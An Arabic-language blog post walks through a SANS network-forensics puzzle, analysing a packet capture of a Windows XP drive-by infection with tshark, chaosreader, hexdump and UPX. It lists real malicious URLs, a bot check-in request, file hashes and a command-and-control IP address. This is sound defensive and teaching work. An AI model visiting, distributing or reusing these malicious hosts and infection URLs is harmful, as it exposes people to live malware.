في هذه التدوينة إن شاء الله سنتطرق إلى شرح عملي خطوة بخطوة
لإصابة حاسوب ببرمجيّات خبيثة. هذه المشاركة تعتمد ملف تمّ التقاطه من
الشبكة لإصابة حقيقيّة. الملف جاء ضمن مسابقة
عقدها معهد سانز لأمن المعلومات. هذه المسابقة شهريّة وأنصح الجميع
بمتبعتها، ومحاولة حلّ ألغازها إن كان لديكم الوقت، فالفائدة المتأتيّة من
ورائها لاشك كبيرة.
الموقع كان بطيئاً في التّحميل، وبدى وكأنّه لا يعمل. لم يكن هناك أي محتوى على الصفحة. أغلقت الآنسة مونيماني المتصفح ومضت في يومها، ولم تلاحظ أن نظامها (ويندوز اكس بي) قد اصيب ببرمجيّات ضارّة.
أنت كمحقق رقمي. حصلت على حزمة البيانات التي تحتوي على تفاعل الآنسة مونيماني مع الموقع. مهمّتك هي فهم ما الذي حصل بالضبط معها؟
حزمة البيانات الملتقطة يمكن تحميلها من هنا
من خلال استخدام tshark لقراءة حزمة البيانات يمكن مشاهدة الآتي:
يمكن كذلك باستخدام Wireshark أو chaosreader استخراج الصفحة نفسها وهي true.php مشاهدة الملفّين في الكود المصدري
باستخدام tshark مرّة أخرى نحصل على الآتي:
مرّة أخرى نعود إلى صديقنا tshark
باستخدام غوغل نبحث عن النطاق nrtjo.eu. نتائج البحث أظهرت أن عدّة مواقع مختصّة في تتبع المواقع الضارّة أشارت إلى الموقع على أنّه موقع ضار. فمثلاً موقع malwareurl أظهر المعلومات التّاليّة:
hxxp://nrtjo.eu//loading.php?spl=javad
باستخدام chaosreader.pl يمكننا مشاهدة أن الرّابط أعلاه يقوم بتحميل ملف اسمه file.exe
إذا رجعنا إلى السؤال الثاني، نلاحظ أنّه يحتوي على md5=5942ba36cf732097479c51986eee91ed والذي ينتهي ب 91ed
السؤال الخامس: ما هو اسم الحزمة التي استخدامت لتغليف هذا الملف؟ ملاحظة هذه الحزمة هي احدى اشهر المغلّفات
من مخرجات chaosreader لدينا file.exe.octect-stream عندما نقوم بتمرير هذا الملف إلى hexdump نلاحظ الآتي:
السؤال السادس: ما هو ال md5 هاش لنّسخة الغير مغلّفة من الملف؟
نقوم باستخدام UPX من أجل رفع التغليف عن الملف:
0f37839f48f7fc77e6d50e14657fb96e
السؤال السابع: الملف التنفيذي الخبيث يقوم بمحاولة اتصال عبر الانترنت بموقع باستخدام عنوان مثبّت داخل الملف بمعنى لم يكن هناك استعلام DNS. ما هو هذا العنوان؟
باستخدام chaosreader نلاحظ ان النظام المصاب قام بالاتصال بالعنوان 213.155.29.144 على المنفذ 444. نستخدم غوغل للبحث عن العنوان فيظهر لنا الآتي في موقع نورتن:
تفاصيل اللغز:
في صبيحة أحد الأيّام وبينما كانت الآنسة مونيماني ترتشف قوتها وتمرّ سريعاً على الرسائل الالكترونيّة التي وصلتها ليلاً. أحد هذه الرّسائل لفتت انتباهها وذلك لأنّ الرسالة والتي من الواضح أنّها عبارة عن بريد مزعج، قد نفدت من خلال المرشّحات. الرسالة عبارة عن دعاية لشراء دواء عبر الويب وتحتوي على رابط. تسألت في نفسها الآنسة مونيماني هل يقع النّاس حقيقة ضحايا لهكذا أشياء؟ دفعها فضولها لترى ما الذي يحتويه الموقع لاقتناع زوّاره بالشّراء، ولذلك ضغطت على الرّابط.الموقع كان بطيئاً في التّحميل، وبدى وكأنّه لا يعمل. لم يكن هناك أي محتوى على الصفحة. أغلقت الآنسة مونيماني المتصفح ومضت في يومها، ولم تلاحظ أن نظامها (ويندوز اكس بي) قد اصيب ببرمجيّات ضارّة.
أنت كمحقق رقمي. حصلت على حزمة البيانات التي تحتوي على تفاعل الآنسة مونيماني مع الموقع. مهمّتك هي فهم ما الذي حصل بالضبط معها؟
حزمة البيانات الملتقطة يمكن تحميلها من هنا
تحذير: الملف يحتوي على برمجيّات خبيثة حقيق لذلك هناك إمكانيّة عالية لإصابة حاسوبك بهذه البرمجيّات. اعمل في بيئة تتحكم بها أنت.
الأسئلة و الحلّ:
السؤال الأول: كجزء من عمليّة الإصابة، المتصفح قام بتحميل ملفين Java Applets. ما هي أسماء الملفات ذات الامتداد jar التي تتطبق هذان الملفان؟من خلال استخدام tshark لقراءة حزمة البيانات يمكن مشاهدة الآتي:
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}'
[..]
192.168.23.129 => 59.53.91.102 http://nrtjo.eu/q.jar
192.168.23.129 => 59.53.91.102 http://nrtjo.eu/sdfg.jar
[..]
كما هو ظاهر في المخرجات أعلاه، هناك ملفان اثنان جرى تحميلهما وهما “q.jar” and “sdfg.jar” الملفان هما عبارة عن Java Appletsيمكن كذلك باستخدام Wireshark أو chaosreader استخراج الصفحة نفسها وهي true.php مشاهدة الملفّين في الكود المصدري
Viewing true.php source
document.write('')
السؤال الثاني: ما اسم المستخدم على النّظام المصاب أثناء عمليّة الإصابة؟باستخدام tshark مرّة أخرى نحصل على الآتي:
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}'
192.168.23.129 => 212.252.32.20 http://freeways.in/11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed
السؤال الثالث: ماهو الرابط الذي بدأت به الاصابة؟ أو بمعنى آخر ما هو الرابط الذي ضغطت عليه الآنسة مونيماني؟مرّة أخرى نعود إلى صديقنا tshark
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," => ",$2, "\t ","http://"$3$4}'
192.168.23.129 -> 59.53.91.102 http://nrtjo.eu/true.php
كما تلاحظون أعلاه، الرابط الذي بدأ الإصابة هو hxxp://nrtjo.eu/true.phpباستخدام غوغل نبحث عن النطاق nrtjo.eu. نتائج البحث أظهرت أن عدّة مواقع مختصّة في تتبع المواقع الضارّة أشارت إلى الموقع على أنّه موقع ضار. فمثلاً موقع malwareurl أظهر المعلومات التّاليّة:
http://www.malwareurl.com/listing.php?domain=nrtjo.eu Malicious URLs on nrtjo.eu /index.php /true.php /xxx.xxx //pdf.php?spl=ie //loading.php?spl=pdf_email_من خلال قراءة الكود المصدري يمكننت رؤيّة أنّ الصفحة true.php تقوم بطلب العنوان الآتي
hxxp://nrtjo.eu//loading.php?spl=javad
باستخدام chaosreader.pl يمكننا مشاهدة أن الرّابط أعلاه يقوم بتحميل ملف اسمه file.exe
www: 192.168.23.129:1066 -> 59.53.91.102:80 File infected.pcap, Session 11 GET //loading.php?spl=javadnw&J050006010 HTTP/1.1 User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_05 Host: nrtjo.eu Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Mar 2010 00:56:05 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.11 Content-Disposition: inline; filename=file.exeالسؤال الرّابع: كجزء من عمليّة الإصابة، ملف تنفيذي خبيث تمّ تحميله على نظام الآنسة مونيماني، ما هو ال md5 لهذا الملف؟ تلميح: ال md5 ينتهي ب 91ed
إذا رجعنا إلى السؤال الثاني، نلاحظ أنّه يحتوي على md5=5942ba36cf732097479c51986eee91ed والذي ينتهي ب 91ed
السؤال الخامس: ما هو اسم الحزمة التي استخدامت لتغليف هذا الملف؟ ملاحظة هذه الحزمة هي احدى اشهر المغلّفات
من مخرجات chaosreader لدينا file.exe.octect-stream عندما نقوم بتمرير هذا الملف إلى hexdump نلاحظ الآتي:
$hexdump -C file.exe.octet-stream 000001e0 55 50 58 30 00 00 00 00 00 80 00 00 00 10 00 00 |UPX0............| 000001f0 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 |................| 00000200 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 |........UPX1....| 00000210 00 10 01 00 00 90 00 00 00 02 01 00 00 04 00 00 |................| 00000220 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 |............@...| 00000230 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 01 00 |.rsrc...........| 00000240 00 04 00 00 00 06 01 00 00 00 00 00 00 00 00 00 |................| 00000250 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 |....@...........| 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000003d0 00 00 00 00 00 00 00 00 00 00 00 33 2e 30 34 00 |...........3.04.|كما نلاحظ لدينا في المخرجات UPX وهو كما هو معروف مغلّف مشهور. 3.04 هو رقم الاصدارة.
السؤال السادس: ما هو ال md5 هاش لنّسخة الغير مغلّفة من الملف؟
نقوم باستخدام UPX من أجل رفع التغليف عن الملف:
./upx -k -d file.exe.octet-streamثمّ نقوم بتمرير الملف على md5sumt فنحصل على الآتي:
0f37839f48f7fc77e6d50e14657fb96e
السؤال السابع: الملف التنفيذي الخبيث يقوم بمحاولة اتصال عبر الانترنت بموقع باستخدام عنوان مثبّت داخل الملف بمعنى لم يكن هناك استعلام DNS. ما هو هذا العنوان؟
باستخدام chaosreader نلاحظ ان النظام المصاب قام بالاتصال بالعنوان 213.155.29.144 على المنفذ 444. نستخدم غوغل للبحث عن العنوان فيظهر لنا الآتي في موقع نورتن:
https://safeweb.norton.com/report/show?name=213.155.29.144 213.155.29.144 Summary Computer Threats: 1 Identity Threats: 0 Annoyance factors: 0 Total threats on this site: 1انتهى الحلّ. هذا يظهر لنا سهولة عملية الإصابة خصوصاً وأنّ المستخدم يستخدم حساب المدير في تصفحه للانترنت. إذا كان لديكم أيّ أسئلة متعلّقة في هذا الحل، فلا تتردوا بطرحها في تعليقاتكم. كيف تعمل هذه الأدوات سنتطرق لها في تدوينات أخرى إن شاء الله.
| روابط هذه التدوينة قابلة للنسخ واللصق | |
| URL | |
| HTML | |
| BBCode | |
شاهد ايضا اخر مواضيع الجيش العرقي الالكتروني
kamindoz
